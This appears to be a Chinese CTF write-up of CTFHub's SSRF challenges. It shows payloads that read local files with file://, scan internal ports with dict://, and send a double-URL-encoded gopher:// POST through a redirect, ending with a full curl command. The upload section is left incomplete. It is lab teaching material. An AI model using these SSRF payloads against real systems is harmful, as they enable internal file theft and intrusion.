CTFHub web SSRF

1.内网访问



2.伪协议读取文件


通过file协议读取文件
构造payload:
?url=file:///var/www/html/flag.php
查看源代码即可


3.端口扫描


通过dict协议用来探测开放的端口
构造payload: ?url=dict://127.0.0.1:端口号
题目说端口在8000-9000
使用Burp的intruder模块进行爆破



得到端口为8849



得到flag

4.POST请求

有三个文件
flag.php index.php 302.php
打开flag.php提示



通过127.0.0.1访问flag.php:



查看源代码得到


我们需要用gopher协议通过302.php的跳转去用post方法传key到flag.php(从127.0.0.1发送数据)
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=381649001a96d5a2688897358f77ad4a

URL编码后得到

POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=381649001a96d5a2688897358f77ad4a

将%0A替换为%0D%0A
继续进行两次的url编码
得到

POST%252520/flag.php%252520HTTP/1.1%25250AHost:%252520127.0.0.1:80%25250AContent-Type:%252520application/x-www-form-urlencoded%25250AContent-Length:%25252036%25250A%25250Akey=381649001a96d5a2688897358f77ad4a

拼接url和gopher

http://challenge-c3589d4db06ecb7a.sandbox.ctfhub.com:10080/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250AHost:%252520127.0.0.1:80%25250AContent-Type:%252520application/x-www-form-urlencoded%25250AContent-Length:%25252036%25250A%25250Akey=381649001a96d5a2688897358f77ad4a

cmd执行curl命令

curl -v http://challenge-c3589d4db06ecb7a.sandbox.ctfhub.com:10080/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250AHost:%252520127.0.0.1:80%25250AContent-Type:%252520application/x-www-form-urlencoded%25250AContent-Length:%25252036%25250A%25250Akey=381649001a96d5a2688897358f77ad4a

即可得到flag


5.上传文件


打开flag.php提示



从127.0.0.1访问flag.php



用file协议读取一下源代码

flag.php

可知从127.0.0.1上传一个大小不为空的文件即可
302.php



index.php没有上传按钮

添加一行

随便上传一个文件
打开burp抓包

把host改为127.0.0.1:80
url编码后并将%0A替换为%0D%0A得到

在进行两次url编码得到:



构造语句:

执行命令
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。